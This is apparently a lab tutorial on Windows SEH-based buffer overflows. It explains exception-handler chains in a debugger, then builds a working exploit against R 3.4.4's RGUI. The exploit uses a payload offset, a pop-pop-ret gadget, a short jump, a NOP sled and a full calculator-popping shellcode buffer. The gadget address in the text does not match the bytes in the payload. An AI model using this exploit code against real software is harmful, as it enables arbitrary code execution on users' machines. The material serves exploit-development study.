# SEH Based Buffer Overflow

## SEH Based Buffer Overflow

The purpose of this lab is to familiarize how Structured Exception Handler / SEH based buffer overflow exploits work.

### SEH 101

* Structured exception handling (SEH) is simply code in a program that is meant to handle situations when program throws an exception due to a hardware or software issue. This means catching those situations and doing something to resolve them;
* SEH code is located on the program's stack for each `try-catch` code block and each handler has its own stack frame;
* SEH is stored in stack as `EXCEPTION_REGISTRATION_RECORD` memory structure (also called SEH record) consisting of two 4 byte fields:
  * pointer to the next SEH record within the SEH chain;
  * pointer to the exception handler code - the `catch` part of the code block. This is the code that attempts to resolve the exception that the program threw;
* A program may have multiple SEHs registered that are connected by a linked list, forming a SEH chain;
  * Once a program throws an exception, the OS runs through the SEH chain and attempts to find an appropriate exception handler;
  * If no suitable handler is found, a default OS handler is used from the bottom of the SEH chain. All SEH chains always end with a default Windows SEH record. Next SEH Record field point to`FFFFFFFF`, which mean's that this is the last SEH record in the chain;
* SEH chain is stored in the Thread Environment Block (TEB) memory structure in its first member called Thread Information Block (TIB), that can be accessed via FS segment register `FS:[0x00]`;
* 64-bit applications are not vulnerable to SEH overflow as binaries are linked with safe exception handlers embedded in the PE file itself;
* 32-bit applications can be linked with `/SAFESEH` flag, which will produce a PE file with a table of safe exception handlers, assuming all modules are compatible with safe execption handling feature.

Below is a simplified diagram visualising some of the key points outlined above:

![TEB, SEH Chains, SEH Records visualised](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeWmTwREZyQXFxEnI6w%2F-MeaUbJZAg42UBO09ZNR%2Fimage.png?alt=media\&token=77a31756-4d3d-4631-b87b-ff4828f7ef70)

### Exploring TEB / TIB / SEH Chains

#### Memory Structures

Let's explore the key structures around SEH using WinDBG and confirm the key points mentioned in the SEH 101 section.

Thread Environment Block is a described in the OS as `_TEB` memory structure and can be inspected in WinDBG like so:

```
dt _teb
```

![Snippet of the \_TEB memory structure](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeWmTwREZyQXFxEnI6w%2F-Mea_0KoEU0IhF1IUinO%2Fimage.png?alt=media\&token=16c212e2-aea8-450c-ab0a-69d51fd0cd62)

As seen from the above screenshot, the TEB's first member is `_NT_TIB` (Thread Information Block) memory structure, which can be inspected like so:

```
dt _NT_TIB
```

![TIB memory structure in WinDBG](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeWmTwREZyQXFxEnI6w%2F-Mea_yGYGnNYfLX0tVCZ%2Fimage.png?alt=media\&token=10eaa3c2-2ecf-4846-9c1a-3b98315edb87)

As mentioned earlier, the first member inside the `_NT_TIB` structure is a pointer to `_EXCEPTION_REGISTRATION_RECORD` memory structure, which is the first SEH record / head of the SEH chain (linked list) and can be inspected like so:

```
dt _EXCEPTION_REGISTRATION_RECORD
```

![SEH record memory structure \_EXCEPTION\_REGISTRATION\_RECORD](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeWmTwREZyQXFxEnI6w%2F-MeabLl0kVgBvQIV2ZVK%2Fimage.png?alt=media\&token=bbb4e445-fef7-4b38-94a4-722109b2490e)

The first member of `_EXCEPTION_REGISTRATION_RECORD` is a pointer to the next SEH record and the second member is a pointer to the exception handler that is defined in the `_EXCEPTION_DISPOSITION` memory structure.

#### Actual Memory Structures

We've learned about a couple of key memory structures, but now let's see how those structures look like when inspecting a real program that has some SEH records defined.

As noted earlier, SEH are the `try` / `catch` code blocks in the program as shown below:

{% code title="seh-overflow\.c" %}

```c
int main(int argc, char* argv[]) 
{
    try
    {
        throw 1;
    }
    catch (int e)
    {
        
    }

    return 0;
}
```

{% endcode %}

Let's compile the above program as seh-overflow\.exe and inspect it with WinDBG again, this time with a `!teb` command:

![!teb](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeWmTwREZyQXFxEnI6w%2F-MeaeQI2jTAayNycDihB%2Fimage.png?alt=media\&token=80f16ce6-744e-4dc8-b452-7e9c36284d02)

We can see that `_TEB` is located at `00a25000` and that the `ExceptionList` / head of the SEH chain is located at `00cff2cc`. From earlier, we said that this value could also be retrieved from the FS segment register `fs:[0]`, so let's confirm that:

```
dd fs:[0] L1
```

![Head of SEH chain retrieved from the FS segment register fs:\[0\]](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeWmTwREZyQXFxEnI6w%2F-MeajO4GhOS1JWE0i-wB%2Fimage.png?alt=media\&token=d81c0212-e966-42f9-96b7-029182fbc339)

Let's check the start of the SEH chain at `00cff2cc` like so:

```
dt _EXCEPTION_REGISTRATION_RECORD 00cff2cc
```

{% hint style="info" %}
From this point the`ExceptionList` address changed from `00cff2cc` to `00cff274` due to the deugging program being restarted. This may happen multiple time throughout the labs.
{% endhint %}

![Start of the SEH chain at 00cff274](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-Met6hhX-U9dWeS4Pl0i%2Fimage.png?alt=media\&token=95fc753e-7b0d-472a-b17e-7d48954e18b3)

Below gif demonstrates how we can get the address of the head of the SEH chain with `!teb` command and by inspecting the `ExceptionList`. We can then walk through all the registered SEH records in the SEH chain and observe how the last SEH record indicates that the next SEH records is at `0xffffffff`: (meaning, it is actually the last record and there's no next SEH record in the chain):

![Walking through the SEH chain in WinDBG](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeWmTwREZyQXFxEnI6w%2F-MeaqS6Mo72-f8uwHjhy%2Fteb-seh-chain.gif?alt=media\&token=d8f1a21e-207a-4250-be1c-c27ef3d94f18)

Note, however, that these SEH records are the exception handlers defined in the ntdll and not in our compiled binary:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-MetA5dbcoRDfjcPfo7R%2Fimage.png?alt=media\&token=de5bbc47-fe6a-4cb2-a96f-c8806d0983dc)

In order to see the SEH records defined by our program, we need it to execute the `try` / `catch` code block that we have in the `main()` function. Let's see the CPU instructions at our program's entry point:

```
u $exentry
```

![A bunch of jmp instructions in our seh-overflow.exe entry point](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-MetCdwTc-7G-fPcK6mk%2Fimage.png?alt=media\&token=a6794f3c-551f-4e4f-9cb2-7411296f3d7f)

At this point, I do not know what the deal is with all the jmps, but let's try setting a breakpoint at `00e1911d` (2nd `jmp` instruction), right after the first `jmp` at `00e19118` and continue with execution:

```
bp $exentry + 5
g
```

![Breakpoint hit at the Image Entry](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-MetGC1PlQE2lf5IClBd%2Fimage.png?alt=media\&token=e9869dd7-5eb0-4c5c-952f-c5ca243842d5)

Let's now see where the SEH head is at:

![SEH chain starts at 00bbfb2c](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-MetGUuKpcqoBhiZRBOS%2Fimage.png?alt=media\&token=b310b6b9-1ffb-4a3c-8b49-b73c8e63b814)

We can now see that the start of the SEH chain has changed and is at `00bbfb2c`, so let's check the first SEH record:

```
dt _EXCEPTION_REGISTRATION_RECORD 00bbfb2c
```

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-MetGvwxj__nBLXgCap6%2Fimage.png?alt=media\&token=82d5d5e1-bbe8-459b-bb0b-5839ae85dedd)

The exception handler for the first SEH record is at `0x00e220f0`. Let's see which module it belongs to:

```
u 0x00e220f0
```

![0x00e220f0 is the 1st exception handler of seh-overflow.exe](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-MetHB2njBm3UYRyFAHW%2Fimage.png?alt=media\&token=f87d1973-6e2e-4736-803b-79004ffa3464)

The above image confirms that `0x00e220f0` is inside our seh-overflow\.exe image and we're inspecting the SEH chain from our seh-overflow\.exe.

WinDBG has a command to explore SEH chains `!exchain`:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MfSUGGvtRNC7WOVCmJV%2F-MfSUzWx-A0MDxdg5nsw%2Fimage.png?alt=media\&token=38061fdc-ee01-4a03-a23a-83700b98969d)

We can also easily discover SEH records using xdbg by inspecting the SEH tab as shown below:

![Inspecting SEH chains using xdbg](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeqChNRAcL3eGo5oHMV%2F-MetIABC4-ilE5wSzoL0%2Fimage.png?alt=media\&token=a1bd029a-f594-450e-9816-04480a50aaac)

Below shows how SEH records 1 to 4 (right) are organized on the program's stack (left):

![SEH chain on the stack](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetIb4YOKJwVcbA7U-s%2F-MetUfXSQGDbAouOGIE2%2Fimage.png?alt=media\&token=ecaa0445-d57d-414b-b9c3-af495619df80)

If we updated our very first diagram showing where SEH chain is located and how it looks like with actual memory addresses, it would now look like this:

![TEB / TIB / SEH chain with actual memory addresses](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetIb4YOKJwVcbA7U-s%2F-MetUnfXFXloFezGudbV%2Fimage.png?alt=media\&token=c379b1ae-14ed-4917-afbe-2aad292bb29e)

Note that the exception handler at `0x00e220f0`, when we identified it previously using WinDbg after executing the first `jmp` inside the seh-overflow\.exe entry point, was the first SEH record in the chain, however, inspecting the SEH chain in xdbg, we can see that the handler `0x00e220f0` actually belongs to the second SEH record, which suggests that executing the first `jmp` was not enough to set up the full SEH chain. That, however, does not prevent us from moving this lab further into the exploitation phase, but it's just something to note if you're playing along.

### Exploiting SEH Overflow

#### Intro

We're going to be exploiting the [R 3.4.4](https://www.exploit-db.com/exploits/47122) on a 32-bit Windows 10 system.

{% hint style="info" %}
The following exploitation steps will not be detailed, since they can be found in my other notes:

* Identifying the SEH record overwrite offset - see[ Finding EIP offset;](https://hamcodes.gitbook.io/hackersnotes/offensive-security/code-and-process-injection/binary-exploitation/32-bit-stack-based-buffer-overflow)
* Identifying bad characters for the shellcode - see [Finding bad characters.](https://hamcodes.gitbook.io/hackersnotes/offensive-security/code-and-process-injection/binary-exploitation/32-bit-stack-based-buffer-overflow)
  {% endhint %}

#### Confirming the Crash

Let's open RGUI.exe in xdbg and hit F9 as many times as we need in order to get the program's GUI to show up:

![RGUI showing up after launching it via xdbg](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-MetaFNSVlBrgPfYDJUH%2Fimage.png?alt=media\&token=d3401f74-1b48-41bf-8c29-d61b40f56607)

Let's generate some garbage data that we will send to the RGUI in order to confirm we can crash it:

```python
python -c "print('A'*3000)" | clip.exe
```

![Generating garbage data using python](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-Metdqyr3QddkEkcOPs6%2Fimage.png?alt=media\&token=b66269ac-631c-4d06-a780-d12ebe5661e4)

Open the RGUI configuration editor and paste the garbage data generated into the "Language for menus and messages" input box as shown and click OK and then OK once more:

![Sending garbage data to RGUI to confirm we can crash it and check if it's vulnerable to overflows](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-Metgz4m--HdfONSzu-j%2Fcrashing-rgui.gif?alt=media\&token=79743f6b-aeb8-4bb7-af80-6e07c0aa5335)

At this point, looking at xdbg, we can confirm the program crashed and is vulnerable to a classic buffer overflow as we were able to overwrite the EIP register with our AAAA (0x41414141):

![Program is vulnerable to a classic buffer overflow - EIP is overwritten](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-Methdd7z34BaFqin1YC%2Fimage.png?alt=media\&token=2b0892f3-6963-4dd8-b2ee-f340c226b161)

More, importantly, however, we confirm that the program is also vulnerable to the SEH overflow by inspecting the SEH chain tab:

![Program confirmed to be vulnerable to SEH overflow - SEH record is overwrriten](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-Meti4QwTjBkUC0nRQ3H%2Fimage.png?alt=media\&token=4f016047-cd47-4414-886b-91d69c7913d6)

Note from above screenshot that the first SEH record was overwritten in the following manner:

* SEH record's handler address was overwritten (red);
* Pointer to the next SEH record was also overwritten (green).

#### Confirming SEH Record Offset

As the next step, we need to find an offset at which we can overwrite the SEH record.

When a user supplied input is sent to a program vulnerable with a buffer overflow vulnerability, the stack is overwritten from lower memory addresses towards higher memory addresses.

We also know that SEH records are stored on the stack and each one is an 8 byte memory structure that contains:

1. Pointer to the next SEH record;
2. Exception handler for the current SEH record.

Based on the above, in order to confirm the SEH record offset, we should generate a dummy payload that is structured like so:

![Payload structure high level view](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-Mett5XnkEGSjnnNeHjb%2Fimage.png?alt=media\&token=f5c7480d-b790-421a-9a61-a82cf3a1fba6)

Following the[ Finding EIP offset ](https://hamcodes.gitbook.io/hackersnotes/offensive-security/code-and-process-injection/binary-exploitation/32-bit-stack-based-buffer-overflow)technique, we identity that the SEH record offset into the stack is `1012`.

Based on all of the above, our payload for testing, if we can correctly overwrite the SEH record (its pointer to the next SEH record and current SEH record's handler), should now look like this:

![Payload structure with offset to the SEH record](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeujwMT3bE3Me9eOQld%2Fimage.png?alt=media\&token=fb8753f4-a498-44bf-ab20-3fc4daa8ed7d)

Let's create the above payload:

```python
python -c "print('A'*1012 + 'BBBB' + 'CCCC')" | clip.exe
```

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-MetsoMpyCV5XOSoKaqA%2Fimage.png?alt=media\&token=1eedfd27-ee2d-4830-bb4a-7c1f09031535)

...and send it to the vulnerable program and see if we can overwrite the SEH record, located at `0141e768` correctly:

{% hint style="warning" %}
**Important**

Note the SEH record address `0141e768` - this is the record we will be overwriting and it will become very important when trying to understand how to force the vulnerable program to jump to our shellcode.
{% endhint %}

![Confirming we can overwrite SEH record at 0141e768](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MetYG5dS9mZeA5-98jl%2F-MettDLiGgjZITKKqq_L%2Fimage.png?alt=media\&token=9c4416b1-a10a-4554-87d8-eb496dc1cbb8)

From the above screenshote we can see that we can overwrite the SEH record correctly:

* 43434343 (CCCC) is the exception handler for the current SEH record;
* 42424242 (BBBB) is the address of the next SEH record;

#### POP POP RET

Next, we will need to find a memory address in the vulnerable program that contains `pop pop ret` gadget. Let's see why we need this ROP gadget - hint: so that we can jump to the next SEH record in the chain, that we in fact can control, from which we can jump to the shellcode.

Useful notes about ROP gadgets:

Let's send `1012*A` to the vulnerable program and upon crashing it, inspect the SEH chain:

![SEH chain at time of the crash](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mey6XH8t3EcJt7kvpqX%2F-MfSOEn1dGDY_Ns1bFx4%2Fimage.png?alt=media\&token=bf793ba1-1513-4e91-9edb-392bc8cfaaf8)

Note the first SEH record is at address `0141E768` and its handler is at `76275680`.

{% hint style="info" %}
Again, it is important to remember / realize that we control/can overwrite the SEH record at `0141e768`.
{% endhint %}

Let's set a breakpoint on the handler at `76275680`, continue execution until that breakpoint is hit, then inspect the SEH chain and the stack's contents:

![Breakopoint hit at 76275680. 0141E768 is the SEH record we control and it's 3 values below the top of the stack](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeuFWqRkGrL9maBe09M%2Fimage.png?alt=media\&token=1969c42d-5c1e-492a-8093-394a70ea2314)

Once the breakpoint is hit at `76275680`, we can see that the address `0141E768`, which is the address of the next SEH record (which we control) is on the stack and it's just 3 values below the top of the stack. This means that if we could overwrite the current SEH record's `0141E768` handler, currently pointing to `76275680`, to a memory address that contains `pop pop ret` instructions, we could transfer the program's execution control to `0141E768` (a SEH record that we control) and from there, execute our shellcode. We will test this in a moment.

#### Finding POP POP RET

To find memory addresses containing `pop pop ret` instructions, we can search all modules for a bytes pattern `5f 5d c3` that translates to `pop edi; pop ebp; ret`:

{% hint style="info" %}
Any other byte pattern that translates to `pop pop ret` should work too.
{% endhint %}

![Finding pop pop ret instructions using byte pattern search in all modules](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeuLbqyyvTzJoNWu0mM%2Fimage.png?alt=media\&token=bec2a25f-9563-4d13-880c-25e5fc34e080)

There are multiple results found as shown below. Let's chose the first one that contains executable instructions at `0x637412c8` and set a breakpoint on it by hitting F2:

![Breakpoint is set at 0x637412c8, it contains pop pop ret instructions](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeuMKw9GiVnt_iVozgT%2Fimage.png?alt=media\&token=e98258ff-95f8-4691-a8ef-a4c223ce9212)

#### Overwriting SEH Record and Subverting Code Execution Flow

We now know that our payload should look like this:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MfSUGGvtRNC7WOVCmJV%2F-MfS_WtH5rsBzhj-HMsR%2Fimage.png?alt=media\&token=fd32d0f3-5995-4446-9ba8-b6e400209683)

So wen can start building our python exploit skeleton as shown below:

{% code title="exploit.py" %}

```python
f = open("payload.txt", "wb")

# Offset into the first SEH record
payload = b"A" * 1012

# Address of the next SEH record
payload += b"BOOM"

# Current SEH handler (pop pop ret)
payload += b"\xc8\x12\x94\x63"

f.write(payload)
f.close()
```

{% endcode %}

Executing `exploit.py` will create `payload.txt` with our payload, which when sent to the RGUI, will overflow the SEH record and overwrite it in the following way:

1. The next SEH record will contain the bytes `42 4F 4F 4D`, representing the string `BOOM`;
2. The current SEH handler will point to `0x637412c8` that contains `pop pop ret` instructions.

Below shows the `payload.txt` file contents:

![Payload.txt contents](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeuS8-9UyDmskKg-CET%2Fimage.png?alt=media\&token=a2bd69c1-0a6c-40ee-809c-434dcb0f4f2a)

Let's send that payload to the RGUI:

![Confirming we can subvert program's execution flow by overwriting SEH record](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeuUN-zb_aYicEyWzi7%2Foverwriting-seh-record-1.gif?alt=media\&token=31fe5f38-c13a-4eac-9439-9fbe8d4c405a)

Note from the above gif the key points:

* Once the program crashes with an exception and we continue running the program (F9), we hit our breakpoint at `0x637412c8` that contains the `pop pop ret` instructions;
* Once `pop pop` instructions are executed, `ret` instruction pops off the top topmost value`0141E768` from the stack, which is the SEH record we control, and jumps to it;
* Once execution jumps to `0141E768`, we see that first four instructions are actually are the bytes `42 4f 4f 4d` that represent our string `BOOM`, which means that at this point we have subverted the code execution flow and can start thinking about executing our shellcode.

#### Adding Shellcode

We're now ready to start suplementing our payload with shellcode. Our payload should now look like this:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MfSUGGvtRNC7WOVCmJV%2F-MfSaNAITekf8y0Nn5bt%2Fimage.png?alt=media\&token=07a77492-05a1-4d5a-b7b6-07519d0a55cd)

Let's modify our exploit skeleton to include some shellcode that pops a calculator:

{% code title="exploit.py" %}

```python
f = open("payload.txt", "wb")

# Offset into the first SEH record
payload = b"A" * 1012

# Address of the next SEH record
payload += b"BOOM"
# payload += b"\xeb\x0B\x90\x90"

# Current SEH handler (pop pop ret)
payload += b"\xc8\x12\x94\x63"

# NOP sled for reliability
payload += b"\x90"*10

# shellcode
buf = b""
buf += b"\xba\xbf\xaf\x65\x1b\xd9\xc4\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x31\x31\x55\x13\x83\xed\xfc\x03\x55\xb0\x4d"
buf += b"\x90\xe7\x26\x13\x5b\x18\xb6\x74\xd5\xfd\x87\xb4\x81"
buf += b"\x76\xb7\x04\xc1\xdb\x3b\xee\x87\xcf\xc8\x82\x0f\xff"
buf += b"\x79\x28\x76\xce\x7a\x01\x4a\x51\xf8\x58\x9f\xb1\xc1"
buf += b"\x92\xd2\xb0\x06\xce\x1f\xe0\xdf\x84\xb2\x15\x54\xd0"
buf += b"\x0e\x9d\x26\xf4\x16\x42\xfe\xf7\x37\xd5\x75\xae\x97"
buf += b"\xd7\x5a\xda\x91\xcf\xbf\xe7\x68\x7b\x0b\x93\x6a\xad"
buf += b"\x42\x5c\xc0\x90\x6b\xaf\x18\xd4\x4b\x50\x6f\x2c\xa8"
buf += b"\xed\x68\xeb\xd3\x29\xfc\xe8\x73\xb9\xa6\xd4\x82\x6e"
buf += b"\x30\x9e\x88\xdb\x36\xf8\x8c\xda\x9b\x72\xa8\x57\x1a"
buf += b"\x55\x39\x23\x39\x71\x62\xf7\x20\x20\xce\x56\x5c\x32"
buf += b"\xb1\x07\xf8\x38\x5f\x53\x71\x63\x35\xa2\x07\x19\x7b"
buf += b"\xa4\x17\x22\x2b\xcd\x26\xa9\xa4\x8a\xb6\x78\x81\x65"
buf += b"\xfd\x21\xa3\xed\x58\xb0\xf6\x73\x5b\x6e\x34\x8a\xd8"
buf += b"\x9b\xc4\x69\xc0\xe9\xc1\x36\x46\x01\xbb\x27\x23\x25"
buf += b"\x68\x47\x66\x46\xef\xdb\xea\xa7\x8a\x5b\x88\xb7"
payload += buf

f.write(payload)
f.close()
```

{% endcode %}

...and send it to RGUI. Observe the crash, continue running the program until the breakpoint at `0x637412c8` is hit and inspect the memory at `0141E768`, where our SEH record, that we've just overflowed, lives. This is where we will jump to after the `pop pop ret` instructions will complete at `0x637412c8`:

![Payload is organized in program's memory](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeuaJuZylNf2C53jXpa%2Fimage.png?alt=media\&token=f43b5608-9374-4711-80d5-b5d342959ebe)

From the above screenshot, we can derive the following key point - once we land on `0141E768` (red zone), which contains the 4 bytes representing our string `BOOM`, we need to jump over to our shellcode in the blue zone.

#### Jumping Over to Shellcode

We need to replace the `BOOM` string in our exploit code (which represents the address of the next SEH record) with a simple relative short `jmp` instruction that jumps 6 bytes further into the code. The instuction can be encoded using the following bytes `eb 06`. Additionally, since the `jmp` instruction is only 2 bytes, we'd need to supplement it with 2 NOP bytes to ensure the exploit reliability. So, `BOOM` should be replaced with bytes `eb 06 90 90` like so:

```python
# payload += b"BOOM"
payload += b"\xeb\x06\x90\x90"
```

Note that even though we say we're jumping over 6 bytes into the code, but in fact, we are jumping over 8 bytes, because the `jmp` instruction itself is 2 bytes, so therefore 2+6=8. Essentially, we are jumping over the SEH record itself after which our shellcode lives.

Our payload visually should now look like this:

![](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MfSUGGvtRNC7WOVCmJV%2F-MfSawkm1IE5W_fZ7kiE%2Fimage.png?alt=media\&token=859daed7-8d77-4440-90e2-c51bf4f586a0)

#### Exploit

Let's see the full updated exploit code now:

{% code title="exploit.py" %}

```python
f = open("payload.txt", "wb")

# Offset into the first SEH record
payload = b"A" * 1012

# Address of the next SEH record
# payload += b"BOOM"
payload += b"\xeb\x06\x90\x90"

# Current SEH handler (pop pop ret)
payload += b"\xc8\x12\x94\x63"

# NOP sled for reliability
payload += b"\x90"*10

# shellcode
buf = b""
buf += b"\xba\xbf\xaf\x65\x1b\xd9\xc4\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x31\x31\x55\x13\x83\xed\xfc\x03\x55\xb0\x4d"
buf += b"\x90\xe7\x26\x13\x5b\x18\xb6\x74\xd5\xfd\x87\xb4\x81"
buf += b"\x76\xb7\x04\xc1\xdb\x3b\xee\x87\xcf\xc8\x82\x0f\xff"
buf += b"\x79\x28\x76\xce\x7a\x01\x4a\x51\xf8\x58\x9f\xb1\xc1"
buf += b"\x92\xd2\xb0\x06\xce\x1f\xe0\xdf\x84\xb2\x15\x54\xd0"
buf += b"\x0e\x9d\x26\xf4\x16\x42\xfe\xf7\x37\xd5\x75\xae\x97"
buf += b"\xd7\x5a\xda\x91\xcf\xbf\xe7\x68\x7b\x0b\x93\x6a\xad"
buf += b"\x42\x5c\xc0\x90\x6b\xaf\x18\xd4\x4b\x50\x6f\x2c\xa8"
buf += b"\xed\x68\xeb\xd3\x29\xfc\xe8\x73\xb9\xa6\xd4\x82\x6e"
buf += b"\x30\x9e\x88\xdb\x36\xf8\x8c\xda\x9b\x72\xa8\x57\x1a"
buf += b"\x55\x39\x23\x39\x71\x62\xf7\x20\x20\xce\x56\x5c\x32"
buf += b"\xb1\x07\xf8\x38\x5f\x53\x71\x63\x35\xa2\x07\x19\x7b"
buf += b"\xa4\x17\x22\x2b\xcd\x26\xa9\xa4\x8a\xb6\x78\x81\x65"
buf += b"\xfd\x21\xa3\xed\x58\xb0\xf6\x73\x5b\x6e\x34\x8a\xd8"
buf += b"\x9b\xc4\x69\xc0\xe9\xc1\x36\x46\x01\xbb\x27\x23\x25"
buf += b"\x68\x47\x66\x46\xef\xdb\xea\xa7\x8a\x5b\x88\xb7"
payload += buf

f.write(payload)
f.close()
```

{% endcode %}

Let's send the payload to RGUI and observe the stack once the payload is sent to the program:

![Stack memory layout after the payload is sent to the program](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-Meup6Xk2QGlcviMpTRs%2Fimage.png?alt=media\&token=ea29b17a-1908-4b50-a068-d9895c97645c)

Below gif captures the full exploitation process:

![Confirming our SEH overflow exploit works](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-MeugQXekt_9o-8tlI9H%2Fseh-overflow-exploit.gif?alt=media\&token=9df73270-83ac-4d07-976a-036e6db7f1ec)

From above screenshot, note the following key points:

* Once we're at `0141E768`, relative short `jmp + 6` jumps to the start of our `NOP` sled at `0141E770`;
* The `NOP` sled takes us to the start of our shellcode at `0141E77A`;
* Once we hit F9 to resume execution, the shellcode is successfully executed and the calc is popped.

### Summary

We can summarize that SEH overflow exploitation at a high level works as shown in the below diagram:

![SEH overflow exploitation process overview](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mettkir7WIv7PLceGou%2F-Meuw2j9Pt0pwi0gnoe4%2Fimage.png?alt=media\&token=30edd0e9-f768-43f9-84f5-03909a2d1fcd)

1. Payload makes the program throw an exception;
2. SEH handler kicks in, which has been overwritten with a memory address in the program that contains `pop pop ret` instructions;
3. `Pop pop ret` instructions make the program jump to the next SEH record, which is overwritten with a short relative jump to the shellcode;
4. Shellcode is executed.

We can update the above diagram with memory addresses that we observed in this lab like so:

![SEH overflow exploitation process as observed in the labs](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mev-uhvZQUpE3cUGSa1%2F-Mev2N1sP0lHu6eCmiGH%2Fimage.png?alt=media\&token=2c7fdddf-83e7-4f41-8dc3-e12e6f60c8d2)

### References

{% embed url="<https://www.coalfire.com/the-coalfire-blog/march-2020/the-basics-of-exploit-development-2-seh-overflows>" %}

{% embed url="<https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/>" %}

